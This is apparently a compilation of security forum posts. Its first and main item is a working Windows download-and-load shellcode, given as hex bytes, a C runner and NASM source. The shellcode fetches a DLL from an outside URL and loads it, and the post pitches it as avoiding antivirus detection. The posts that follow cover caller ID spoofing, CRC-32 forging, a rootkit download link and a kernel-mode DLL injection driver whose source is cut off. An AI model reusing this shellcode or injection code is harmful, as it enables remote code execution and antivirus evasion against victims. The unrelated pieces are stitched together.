The idea is simple: you can download an executable file but it can be easily detected. However, the DLLs are NOT detected (most of the time)! So it can be helpful to just download and load a library instead of downloading and executing something. The DLL can contain any code, C or something else, and it is very easy to do anything instead of writing some custom shellcode. This shellcode should work on Windows XP, Vista, 7, 8. It is 90% based on RubberDuck's "Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode" shellcode available here: http://www.exploit-db.com/exploits/24318/ so all credits go to RubberDuck (Binary Flow) How it works: - Find kernel32 address from PEB - Find GetProcAddress function from kernel32 - Find LoadLibrary function using GetProcAddress - LoadLibrary("urlmon.dll") - Find URLDownloadToFile function from urlmon.dll - URLDownloadToFile("https://rstforums.com/fisiere/dead.dll", "dead.dll") - LoadLibrary("dead.dll") - Loop Shellcode and C program to test it (DETECTABLE): /* Name: Download & Load (DLL) shellcode Author: Nytro Powered by: Romanian Security Team (https://rstforums.com/forum) Based (90%) on RubberDuck's "Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode" shellcode available here: http://www.exploit-db.com/exploits/24318/ Tested on: Windows XP, Windows 7, Windows 8 The shellcode downloads and loads https://rstforums.com/fisiere/dead.dll. The dead.dll library contains a simple MessageBox, but do not trust me, download it and check it yourself. */ #include "stdafx.h" #include <Windows.h> int main() { // Our shellcode unsigned char shellcode[] = "\x31\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B" "\x58\x10\x8B\x53\x3C\x01\xDA\x8B\x52\x78\x01\xDA\x8B\x72\x20\x01" "\xDE\x31\xC9\x41\xAD\x01\xD8\x81\x38\x47\x65\x74\x50\x0F\x85\xF0" "\xFF\xFF\xFF\x81\x78\x04\x72\x6F\x63\x41\x0F\x85\xE3\xFF\xFF\xFF" "\x81\x78\x08\x64\x64\x72\x65\x0F\x85\xD6\xFF\xFF\xFF\x8B\x72\x24" "\x01\xDE\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x01\xDE\x8B\x14\x8E\x01" "\xDA\x31\xC9\x51\x68\x2E\x64\x6C\x6C\x68\x64\x65\x61\x64\x53\x52" "\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64" "\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x89\x45\xFC\x51\x66\xB9\x6C" "\x6C\x51\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C\x6D\x54\xFF\xD0\x83" "\xC4\x10\x8B\x54\x24\x04\x31\xC9\x51\x66\xB9\x65\x41\x51\x31\xC9" "\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64\x54\x68\x6F\x77\x6E\x6C\x68" "\x55\x52\x4C\x44\x54\x50\xFF\xD2\x31\xC9\x8D\x54\x24\x24\x51\x51" "\x52\xEB\x1F\x51\xFF\xD0\x83\xC4\x1C\x31\xC0\x50\x68\x2E\x64\x6C" "\x6C\x68\x64\x65\x61\x64\x54\x8B\x45\xFC\xFF\xD0\x90\xE9\xFA\xFF" "\xFF\xFF\xE8\xDC\xFF\xFF\xFF" "https://rstforums.com/fisiere/dead.dll" "\x00"; LPVOID lpAlloc = NULL; void (*pfunc)(); // Allocate memory (rwx) for shellcode lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(lpAlloc == NULL) { printf("Memory isn't allocated!\n"); return 0; } // Copy memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode) + 1); pfunc = (void ())lpAlloc; // Execute pfunc(); return 0; } The shellcode assembly (NASM): bits 32 ; Find kernel32 ; ---------------------------------------------------------- xor ecx,ecx ; ECX = 0 mov eax,[fs:ecx+0x30] ; EAX = PEB mov eax,[eax+0xc] ; EAX = PEB->Ldr mov esi,[eax+0x14] ; ESI = PEB->Ldr.InMemOrder lodsd ; EAX = Second module xchg eax,esi ; EAX = ESI, ESI = EAX lodsd ; EAX = Third (kernel32) mov ebx,[eax+0x10] ; EBX = Base address mov edx,[ebx+0x3c] ; EDX = DOS->e_lfanew add edx,ebx ; EDX = PE Header mov edx,[edx+0x78] ; EDX = Offset export table add edx,ebx ; EDX = Export table mov esi,[edx+0x20] ; ESI = Offset names table add esi,ebx ; ESI = Names table xor ecx,ecx ; EXC = 0 ; Find GetProcAddress ; ---------------------------------------------------------- inc ecx ; Loop for each function lodsd add eax,ebx ; Loop untill function name cmp dword [eax],0x50746547 ; GetP jnz 0x23 cmp dword [eax+0x4],0x41636f72 ; rocA jnz 0x23 cmp dword [eax+0x8],0x65726464 ; ddre jnz 0x23 mov esi,[edx+0x24] ; ESI = Offset ordinals add esi,ebx ; ESI = Ordinals table mov cx,[esi+ecx*2] ; CX = Number of function dec ecx mov esi,[edx+0x1c] ; ESI = Offset address table add esi,ebx ; ESI = Address table mov edx,[esi+ecx*4] ; EDX = Pointer(offset) add edx,ebx ; EDX = GetProcAddress ; Find LoadLibrary ; ---------------------------------------------------------- xor ecx,ecx ; ECX = 0 push ecx push dword 0x6c6c642e ; .dll push dword 0x64616564 ; dead push ebx ; Kernel32 base address push edx ; GetProcAddress push ecx ; 0 push dword 0x41797261 ; aryA push dword 0x7262694c ; Libr push dword 0x64616f4c ; Load push esp ; "LoadLibrary" push ebx ; Kernel32 base address call edx ; GetProcAddress(LL) ; LoadLibrary("urlmon.dll"); ; ---------------------------------------------------------- add esp,byte +0xc ; pop "LoadLibrary" pop ecx ; ECX = 0 push eax ; EAX = LoadLibrary mov [ebp-4], eax ; Backup EAX; Ugly push ecx mov cx,0x6c6c ; ll push ecx push dword 0x642e6e6f ; on.d push dword 0x6d6c7275 ; urlm push esp ; "urlmon.dll" call eax ; LoadLibrary("urlmon.dll") ; Get URLDownloadToFile ; ---------------------------------------------------------- add esp,byte +0x10 ; Clean stack mov edx,[esp+0x4] ; EDX = GetProcAddress xor ecx,ecx ; ECX = 0 push ecx mov cx,0x4165 ; eA push ecx xor ecx,ecx ; ECX = 0 push dword 0x6c69466f ; oFil push dword 0x5464616f ; oadT push dword 0x6c6e776f ; ownl push dword 0x444c5255 ; URLD push esp ; "URLDownloadToFileA" push eax ; urlmon base address call edx ; GetProc(URLDown) ; Call URLDownloadToFile ; ---------------------------------------------------------- xor ecx,ecx ; ECX = 0 lea edx,[esp+0x24] ; EDX = "dead.dll" push ecx push ecx push edx ; "dead.dll" jmp short 0xF2 ; Will see push ecx ; 0 call eax ; Download ; Call LoadLibrary ; ---------------------------------------------------------- add esp, byte +0x1c ; Clean stack (URL...) xor eax, eax ; NULL push eax push dword 0x6c6c642e ; .dll push dword 0x64616564 ; dead push esp mov eax, [ebp-4] ; I know, this sucks call eax ; LoadLibrary nop jmp 0xEC ; Fuckin' loop ; Will put URL pointer on the stack as return address (call) call dword 0xD3 url db "https://rstforums.com/fisiere/dead.dll", 0 Important Note! It may not work on all Windows 7 & Windows 8 operating systems due to some stupidities related to the Internet Explorer settings! For example, on some Windows 8 versions the URLDownloadToFile didn't work until IE was the default browser. On some Windows 7 versions it didn't work until the IE settings were reset, but it worked even if IE was not the default browser. The problem is with URLDownloadToFile, not with the shellcode. If you have any questions, you can ask me here. Thanks, Nytro
-
Probabil nu. E pentru cei din Bucuresti.
-
OWASP Romania InfoSec Conference 2014 Sunteti invitati la urmatorul eveniment OWASP al capitolului din Romania. OWASP Romania InfoSec Conference 2014 va fi o conferinta de o zi cu prezentari pe teme de securitate IT si va avea loc in data de 24 octombrie. Detaliile vor fi publicate aici: https://www.owasp.org/index.php/OwaspRomaniaConference2014 Call For Presentations este deschis pana pe 30 septembrie 2014. Asteptam inscrieri pentru prezentari sau workshop-uri din urmatoarele arii si nu numai: • Security aspects of new / emerging web technologies / paradigms / languages / frameworks • Secure development: frameworks, best practices, secure coding, methods, processes, SDLC, etc. • Security of web frameworks (Struts, Spring, ASP.Net MVC, RoR, etc) • Vulnerability analysis (code review, pentest, static analysis etc) • Threat modelling of applications • Mobile security and security for the mobile web • Cloud security • Browser security and local storage • Countermeasures for application vulnerabilities • New technologies, paradigms, tools • Application security awareness and education • Security in web services, REST, and service oriented architectures • Privacy in web apps, Web services and data storage Vor fi selectate prezentarile si temele cele mai interesante. Inregistrarea prezentarilor se realizeaza aici. Important: termenul limita pentru inscrierea prezentarilor este 30 septembrie lista speakerilor confirmati va fi anuntata pe 1 octombrie conferinta va avea loc pe 24 octombrie prezentarile vor avea durata de 45 de minute fiecare va exista un speaker agreement Info: https://www.owasp.org/index.php/OwaspRomaniaConference2014
-
Caller ID Spoofing When conducting a VoIP security assessment against a PBX (Private Branch Exchange) it is important to perform tests against all the type of attacks. One of the attacks that exist for years in VoIP is called Caller ID spoofing and we are going to examine it in this article.Caller ID spoofing is a type of attack where a malicious attacker will impersonate a legitimate SIP user to call other legitimate users on the voice network. The implementation of this attack is fairly easy and it can be achieved with the use of the following tools: Metasploit Viproy Inviteflood Let’s see the details of this attack below. Attack Scenario An internal attacker is calling the Director of Finance of the company by pretending that he is the CEO and he is requesting to transfer X amount of money to his bank account. The attacker is changing the header of the SIP INVITE request in order to spoof his caller ID to CEO. The Director of Finance accepts the call as the caller ID seems to be from CEO which is considered trusted and initiates the phone conversation with the attacker. Scenario The crafted malformed SIP INVITE message can be seen below: Now let’s see how this type of attack can be conducted with the use of various tools. Viproy Viproy is penetration testing toolkit for VoIP assessments. It has been developed by Fatih Ozavci and it can be loaded to the Metasploit Framework. There is a specific module that can be used for Caller ID spoofing and in the image below you can see the configuration of the module: Spoofing the Caller ID with Viproy This will cause the phone device to ring with the custom message of our choice even from phone extensions that are not valid. Spoofed Call – Viproy Inviteflood Spoofed INVITE requests can be sent and from another tool which is called inviteflood and it is part of the Kali Linux. The main purpose of inviteflood is to be used for DoS (Denial of Service) attacks against SIP devices by sending multiple INVITE requests but it can accommodate our need to spoof our ID with the following command: Caller ID Spoofing – Inviteflood The next image is showing the output and as we can see the phone is ringing with the ID of the CEO as per our scenario above. Spoofed Call with the ID of CEO Metasploit Metasploit framework contains as well an existing module which can send a fake SIP INVITE message to an existing extension: Fake INVITE – Metasploit The device will ring with the following message: Spoofed Caller ID – Metasploit Conclusion In order for the attack to be successful the PBX needs to allow anonymous inbound SIP calls. It is very easy to be implemented even from people with limited knowledge about VoIP and hacking that’s why systems owners need to ensure that their PBX’s prevents anonymous inbound calls to reach their legitimate users in order to mitigate the risk of this attack. Sursa: Caller ID Spoofing | Penetration Testing Lab
-
[h=3]CRC-32 forging[/h]You may already know that the CRC-32 of any text can be forged if you can add 4 bytes anywhere in the text. See anarchriz's paper on the subject. A real-world example of such a situation can be seen in JB's ESET CONFidence Crackme Writeup. Good code that I recently used it in another situation, in order to forge a text of a given CRC-32 by inserting 4 bytes at a specific position. Since I reused most of his code, let's share mine as well (crc32.py): #!/usr/bin/env pythonfrom struct import pack,unpack # Poly in "reversed" notation -- http://en.wikipedia.org/wiki/Cyclic_redundancy_check POLY = 0xedb88320 # CRC-32-IEEE 802.3 #POLY = 0x82F63B78 # CRC-32C (Castagnoli) #POLY = 0xEB31D82E # CRC-32K (Koopman) #POLY = 0xD5828281 # CRC-32Q def build_crc_tables(): for i in range(256): fwd = i rev = i << 24 for j in range(8, 0, -1): # build normal table if (fwd & 1) == 1: fwd = (fwd >> 1) ^ POLY else: fwd >>= 1 crc32_table = fwd & 0xffffffff # build reverse table =) if rev & 0x80000000 == 0x80000000: rev = ((rev ^ POLY) << 1) | 1 else: rev <<= 1 rev &= 0xffffffff crc32_reverse = rev crc32_table, crc32_reverse = [0]*256, [0]*256 build_crc_tables() def crc32(s): # same crc32 as in (binascii.crc32)&0xffffffff crc = 0xffffffff for c in s: crc = (crc >> 8) ^ crc32_table[(crc ^ ord©) & 0xff] return crc^0xffffffff def forge(wanted_crc, str, pos=None): if pos is None: pos = len(str) # forward calculation of CRC up to pos, sets current forward CRC state fwd_crc = 0xffffffff for c in str[:pos]: fwd_crc = (fwd_crc >> 8) ^ crc32_table[(fwd_crc ^ ord©) & 0xff] # backward calculation of CRC up to pos, sets wanted backward CRC state bkd_crc = wanted_crc^0xffffffff for c in str[pos:][::-1]: bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ crc32_reverse[bkd_crc >> 24] ^ ord© # deduce the 4 bytes we need to insert for c in pack('<L',fwd_crc)[::-1]: bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ crc32_reverse[bkd_crc >> 24] ^ ord© res = str[:pos] + pack('<L', bkd_crc) + str[pos:] assert(crc32(res) == wanted_crc) return res Given a text, a CRC-32 and a position, you can forge a new text having this exact CRC-32 by inserting 4 bytes at the indicated position: >>> str = "some text">>> wanted_crc = 0xdeadbeef >>> for pos in range(len(str)): f = forge(wanted_crc, str, pos) print "%-30r CRC32 0x%08x" % (f, crc32(f)) '^q\xb4\x19some text' CRC32 0xdeadbeef 's\x04\xe8\xc66ome text' CRC32 0xdeadbeef 'so8~V\xb5me text' CRC32 0xdeadbeef 'som\x05\xf3\xb4ve text' CRC32 0xdeadbeef 'some\xab\xd5\xc4( text' CRC32 0xdeadbeef 'some }\x9eBZtext' CRC32 0xdeadbeef 'some t:\xfa\x86\rext' CRC32 0xdeadbeef 'some te\x9f\xca\xd9\x9ext' CRC32 0xdeadbeef 'some tex\x11\xae\xf0Ft' CRC32 0xdeadbeef Thanks JB Other CRC-32 resources: crctools by Julien Tinnes, libcrc by Y. Guillot, among others. Posted by StalkR at 20:15 Sursa: StalkR's Blog: CRC-32 forging
-
[TABLE] [TR] [TD][TABLE=width: 100%] [TR] [TD]Oracle Password Auditor is the FREE Oracle database password recovery and auditing software.[/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] It not only helps you to recover lost or forgotten Oracle database password but also audit Oracle database setup in an corporate environment by discovering the weak password configurations. During auditing operation, it detects special cases such as Account Lockout, Incorrect Oracle SID, Session Limit problems etc. In such cases it stops the operation rather than blindly continuing with the errors. Penetration testers can use this feature to detect any account lockout issues and further verify if it is susceptible to such DDOS attacks. It uses simple & faster dictionary based password recovery method. Also in the beginning it can automatically check for well known default user/password combinations. It is very easy to use with a cool GUI interface and a handy tool for IT administrators & Penetration Testers. It works on wide range of platforms starting from Windows XP to Windows 8.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] Features[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Quickly Audit or Recover Your Lost Oracle Password. Dictionary based Password Recovery method Automatically Checks for Default User/Password combinations Includes dictionary file having popular list of default Oracle passwords Free and easy to use tool Very useful for IT administrators & Penetration Testers Automatically detects Account Lockout, Invalid SID, Session Limit problems. Displays detailed statistics during the operation. Integrated Installer for local Installation & Uninstallation. [/TD] [/TR] [TR] [TD][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: page_subheader]Screenshots[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]Screenshot 1:Oracle Password Auditor is showing the recovered Oracle Password[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]Screenshot 2:Oracle Password Auditor is detecting the locked out account and stopping the operation.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: center][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] Release History[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] [TABLE=width: 90%, align: center] [TR] [TD=class: page_sub_subheader]Version 2.5 : 19th Jul 2014[/TD] [/TR] [TR] [TD]Auto copy the Oracle login password to clipboard on success. Improved UI interface with glowing icons and fixed few minor bugs.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_sub_subheader]Version 2.0 : 30th May 2013[/TD] [/TR] [TR] [TD]Mega edition with support for Windows 8. Includes new features like default passwords check in the beginning, optimized oracle password auditing technique and enhanced GUI interface.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_sub_subheader]Version 1.0 : 13th July 2011[/TD] [/TR] [TR] [TD]First public release of OraclePasswordAuditor[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader]Download[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] [TABLE=width: 95%, align: center] [TR] [TD] FREE Download Oracle Password Auditor v2.5 License : Freeware Platform : Windows XP, 2003, Vista, Windows 7, Windows 8 Download [/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [/TABLE] Sursa: Oracle Password Auditor : Free Oracle Password Recovery & Auditing Tool
-
Firefox adds anti-malware file reputation service Summary: Firefox has blocked known phishing and malware sites for some time. Now it will check reputation on individual files and soon use file signatures. By Larry Seltzer for Zero Day | July 25, 2014 -- 12:40 GMT (05:40 PDT) Mozilla has announced that the new version 31.0 of Firefox, released earlier this week, will check individual file downloads against Google's Safe Browsing reputation service to determine if they are known malware. Firefox has checked web site URLs against Google's Safe Browsing service since version 2.0. Originally, that service checked only to see if sites were known phishing sites; later on, a list of sites known to serve malware was added to the service. When you encounter such a site, Firefox raises an interstitial warning: Version 31.0 adds a new feature. If, during a download, the site passes reputation check, then before completion Firefox will send a SHA-256 hash of the file to Google's Safe Browsing Service, which maintains a database of them. This file reputation service is not a documented part of the Safe Browsing API, but Google has given Firefox access to it. Obviously Google Chrome has had access to this file reputation service since Google launched it in 2012. Firefox also announced that version 32, due in September, will add a new efficiency to malware checks. Before checking the reputation of an individual file with Safe Browsing, it will check the file's digital signature (if it has one) for validity and to see if the publisher is in a local list of known-trusted publishers. If it passes this test, then the file is deemed good. If not, Firefox proceeds with the file reputation check. If you want to turn this service off, you may do so in "Preferences > Security > Block reported attack sites." Note that this setting controls not just the site check (as the name implies) but also the individual file tests. To turn off just the individual file tests, replace browser.safebrowsing.appRepURL in about:config with an empty string (the default setting is https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_API_KEY%). Microsoft Windows SmartScreen service has checked for phishing and malicious web sites in Internet Explorer for some time. With Windows 8, Microsoft added file reputation checking to the service. Sursa: Firefox adds anti-malware file reputation service | ZDNet
-
The Apple backdoor that wasn't Summary: On Monday, several media outlets mistakenly reported that Apple had installed "backdoors" on millions of iPhones and iOS devices. UPDATED. By Violet Blue for Zero Day | July 25, 2014 -- 12:05 GMT (05:05 PDT) Before the iPhone came out, and long before anyone heard the name "Ed Snowden," the most common use of the word "backdoor" was relegated to an industry that applied the term as a colorful anatomical descriptive, helping potential customers select the preferred access point for their adult entertainment. Last weekend, a hacker who's been campaigning to make a point about Apple security by playing fast and loose with the now widely-accepted definition of "backdoor" struck gold when journalists didn't do their homework and erroneously reported a diagnostic mechanism as a nefarious, malfeasant, secret opening to their private data. Speaking at the Hackers On Planet Earth conference in New York, Jonathan Zdziarski said that Apple’s iOS contains intentionally created access that could be used by governments to spy on iPhone and iPad users to access a user's address book, photos, voicemail and any accounts configured on the device. As he has been doing since the Snowden documents started making headlines last year, Mr. Zdziarski re-cast Apple's developer diagnostics kit in a new narrative, turning a tool that could probably gain from better user security implementation into a sinister "backdoor." The "Apple installed backdoors on millions of devices" story is still making headlines, despite the fact that respected security researchers started debunking researcher Jonathan Zdziarski's claims the minute people started tweeting about his HopeX talk on Sunday. Since Mr. Zdziarski presented "Identifying back doors, attack points, and surveillance mechanisms in iOS devices", his miscasting of Apple's developer diagnostics as a "backdoor" was defeated on Twitter, debunked and saw SourceClear calling Zdziarski an attention seeker in Computerworld, and Apple issued a statement saying that no, this is false. In fact, this allegedly "secret backdoor" was added to diagnostic information that has been as freely available as a page out of a phone book since 2002. The packet capture software used for diagnostics referenced by Mr. Zdziarski in support of his claims is similar in functionality as the one that's installed on every Apple laptop and desktop computer for diagnostics. So his numbers of "backdoors" allegedly installed by Apple for wide-ranging nefarious purposes are off by like, a billion. It appears that no one reporting Zdziarski's claims as fact attended his talk, watched it online, and less than a handful fact-checked or consulted outside experts. Which is, incidentally, what I did. I saw the talk begin to gain momentum on Twitter, then quickly flushed the idea of a story when the researchers I consulted kindly told me there was no "there" there. Mind you, I'm quick to call Apple on its issues. Among many other articles about Apple security vulns and hacks, I was first to report seeing an iPhone getting hacked in 60 seconds with a malicious charger, and when Apple said that intercepting (and spoofing) iMessage was only "theoretical" I provided video proof of the exploit. Regardless of the problems with Mr. Zdziarski's sermon, the (incorrect) assertion that Apple installed backdoors for law enforcement access was breathlessly reported this week by The Guardian, Forbes, Times of India, The Register, Ars Technica, MacRumors, Cult of Mac, Apple Insider, InformationWeek, Read Write Web, Daily Mail and many more (including ZDNet). People were told to essentially freak out over iPhones allowing people who know the passcode and pairing information to use the device. If you're the kind of person that walks into a public library, plugs in your iPhone and gives the public computer and every rando who accesses it permission to access everything on your phone forever, then okay, maybe you should freak out. The entire incident has cemented mistrust about journalists in infosec communities, and their reactions to the media mess hasn't been kind. Sursa: The Apple backdoor that wasn't | ZDNet
-
Low Level IPhone programming Video from JailbreakCon Twitter: @JailbreakCon - http://twitter.com/JailbreakCon “Low Level iPhone Programming (And more!)” by winocm [remotely, via FaceTime Voice, with Steven De Franco (iH8sn0w) on stage to help] Slides: Presentation1.pdf Sursa: Low Level IPhone programming
-
[h=1]SSDT PROcess and protect rootkit[/h]Started By x4r0r, Apr 20 2014 01:41 AM Hello to all especially to zwclose7 share has come from the following code developed ... everything is complete without no problem .... it is detected by some antivirus few knew it and its function is very important to us if someone encourages has improved works in Windows 7 32-bit Windows 8 32-bit and 64-bit here i leave all the details works all windows 32/64 bit Download: files.cnblogs.com/yeerh/HookDemo_SSDT.7z Sursa: SSDT PROcess and protect rootkit - Source Codes - rohitab.com - Forums
-
[h=1]Inject DLL from kernel mode[/h]Started By zwclose7, Feb 24 2014 04:05 PM Have you ever tried inject DLL from kernel mode? You can try to inject DLL from kernel mode when user mode methods doesn't work, e.g hooked NtOpenProcess/CreateRemoteThread, etc. How kernel mode injection works? 1) Get the address of KdVersionBlock from KPCR. (__readfsdword) 2) Get the address of MmLoadedUserImageList from KdVersionBlock. 3) Get the base address of ntdll from MmLoadedUserImageList. 4) Parse the export table of ntdll to locate LdrLoadDll. 5) Find a thread to hijack. (ZwQuerySystemInformation) 6) Open the target process. (PsLookupProcessByProcessId) 7) Open the target thread. (PsLookupThreadByThreadId) 8) Attach to target process's address space. (KeAttachProcess) 8) Allocate memory in target process's address space. (ZwAllocateVirtualMemory) 9) Copy the DLL name and APC routine into target process's address space. (memcpy,RtlInitUnicodeString) 10) Set ApcState.UserApcPending to TRUE to force the target thread to execute the APC routine. 11) Allocate an APC object from nonpaged pool. (ExAllocatePool) 12) Initialize the APC and insert it to the target thread. (KeInitializeApc,KeInsertQueueApc) 13) The target thread executes the APC routine in target process's address space. The APC routine calls LdrLoadDll to load the DLL. 14) Wait for the APC routine to complete. 15) Free the allocated memory. (ZwFreeVirtualMemory,ExFreePool) 16) Detach from target process's address space. (KeDetachProcess) 17) Dereference the target process and target thread. (ObDereferenceObject) Usage: To use the injector, run install.bat to install the driver, and then run kinject.exe from command prompt. kinject [PID] [DLL name] Source code (driver) #include <ntifs.h>#include <ntddk.h> typedef struct _SYSTEM_THREAD_INFORMATION { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; LONG BasePriority; ULONG ContextSwitches; ULONG ThreadState; KWAIT_REASON WaitReason; }SYSTEM_THREAD_INFORMATION,*PSYSTEM_THREAD_INFORMA TION; typedef struct _SYSTEM_PROCESS_INFO { ULONG NextEntryOffset; ULONG NumberOfThreads; LARGE_INTEGER WorkingSetPrivateSize; ULONG HardFaultCount; ULONG NumberOfThreadsHighWatermark; ULONGLONG CycleTime; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; HANDLE UniqueProcessId; HANDLE InheritedFromUniqueProcessId; ULONG HandleCount; ULONG SessionId; ULONG_PTR UniqueProcessKey; SIZE_T PeakVirtualSize; SIZE_T VirtualSize; ULONG PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER ReadOperationCount; LARGE_INTEGER WriteOperationCount; LARGE_INTEGER OtherOperationCount; LARGE_INTEGER ReadTransferCount; LARGE_INTEGER WriteTransferCount; LARGE_INTEGER OtherTransferCount; SYSTEM_THREAD_INFORMATION Threads[1]; }SYSTEM_PROCESS_INFO,*PSYSTEM_PROCESS_INFO; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; struct _ACTIVATION_CONTEXT * EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks; }LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY; typedef struct _IMAGE_DOS_HEADER { USHORT e_magic; USHORT e_cblp; USHORT e_cp; USHORT e_crlc; USHORT e_cparhdr; USHORT e_minalloc; USHORT e_maxalloc; USHORT e_ss; USHORT e_sp; USHORT e_csum; USHORT e_ip; USHORT e_cs; USHORT e_lfarlc; USHORT e_ovno; USHORT e_res[4]; USHORT e_oemid; USHORT e_oeminfo; USHORT e_res2[10]; LONG e_lfanew; }IMAGE_DOS_HEADER,*PIMAGE_DOS_HEADER; typedef struct _IMAGE_DATA_DIRECTORY { ULONG VirtualAddress; ULONG Size; }IMAGE_DATA_DIRECTORY,*PIMAGE_DATA_DIRECTORY; typedef struct _IMAGE_FILE_HEADER { USHORT Machine; USHORT NumberOfSections; ULONG TimeDateStamp; ULONG PointerToSymbolTable; ULONG NumberOfSymbols; USHORT SizeOfOptionalHeader; USHORT Characteristics; }IMAGE_FILE_HEADER,*PIMAGE_FILE_HEADER; typedef struct _IMAGE_OPTIONAL_HEADER { USHORT Magic; UCHAR MajorLinkerVersion; UCHAR MinorLinkerVersion; ULONG SizeOfCode; ULONG SizeOfInitializedData; ULONG SizeOfUninitializedData; ULONG AddressOfEntryPoint; ULONG BaseOfCode; ULONG BaseOfData; ULONG ImageBase; ULONG SectionAlignment; ULONG FileAlignment; USHORT MajorOperatingSystemVersion; USHORT MinorOperatingSystemVersion; USHORT MajorImageVersion; USHORT MinorImageVersion; USHORT MajorSubsystemVersion; USHORT MinorSubsystemVersion; ULONG Win32VersionValue; ULONG SizeOfImage; ULONG SizeOfHeaders; ULONG CheckSum; USHORT Subsystem; USHORT DllCharacteristics; ULONG SizeOfStackReserve; ULONG SizeOfStackCommit; ULONG SizeOfHeapReserve; ULONG SizeOfHeapCommit; ULONG LoaderFlags; ULONG NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[16]; }IMAGE_OPTIONAL_HEADER,*PIMAGE_OPTIONAL_HEADER; typedef struct _IMAGE_NT_HEADERS { ULONG Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER OptionalHeader; }IMAGE_NT_HEADERS,*PIMAGE_NT_HEADERS; typedef struct _IMAGE_EXPORT_DIRECTORY { ULONG Characteristics; ULONG TimeDateStamp; USHORT MajorVersion; USHORT MinorVersion; ULONG Name; ULONG Base; ULONG NumberOfFunctions; ULONG NumberOfNames; ULONG AddressOfFunctions; ULONG AddressOfNames; ULONG AddressOfNameOrdinals; }IMAGE_EXPORT_DIRECTORY,*PIMAGE_EXPORT_DIRECTORY; #define IMAGE_DIRECTORY_ENTRY_EXPORT 0 extern "C" NTSTATUS ZwQuerySystemInformation(ULONG InfoClass,PVOID Buffer,ULONG Length,PULONG ReturnLength); extern "C" LPSTR PsGetProcessImageFileName(PEPROCESS Process); typedef NTSTATUS (*PLDR_LOAD_DLL)(PWSTR,PULONG,PUNICODE_STRING,PVOI D*); typedef struct _INJECT_INFO { HANDLE ProcessId; wchar_t DllName[1024]; }INJECT_INFO,*PINJECT_INFO; typedef struct _KINJECT { UNICODE_STRING DllName; wchar_t Buffer[1024]; PLDR_LOAD_DLL LdrLoadDll; PVOID DllBase; ULONG Executed; }KINJECT,*PKINJECT; typedef enum _KAPC_ENVIRONMENT { OriginalApcEnvironment, AttachedApcEnvironment, CurrentApcEnvironment, InsertApcEnvironment }KAPC_ENVIRONMENT,*PKAPC_ENVIRONMENT; typedef VOID (NTAPI *PKNORMAL_ROUTINE)( PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2 ); typedef VOID KKERNEL_ROUTINE( PRKAPC Apc, PKNORMAL_ROUTINE *NormalRoutine, PVOID *NormalContext, PVOID *SystemArgument1, PVOID *SystemArgument2 ); typedef KKERNEL_ROUTINE (NTAPI *PKKERNEL_ROUTINE); typedef VOID (NTAPI *PKRUNDOWN_ROUTINE)( PRKAPC Apc ); extern "C" void KeInitializeApc( PRKAPC Apc, PRKTHREAD Thread, KAPC_ENVIRONMENT 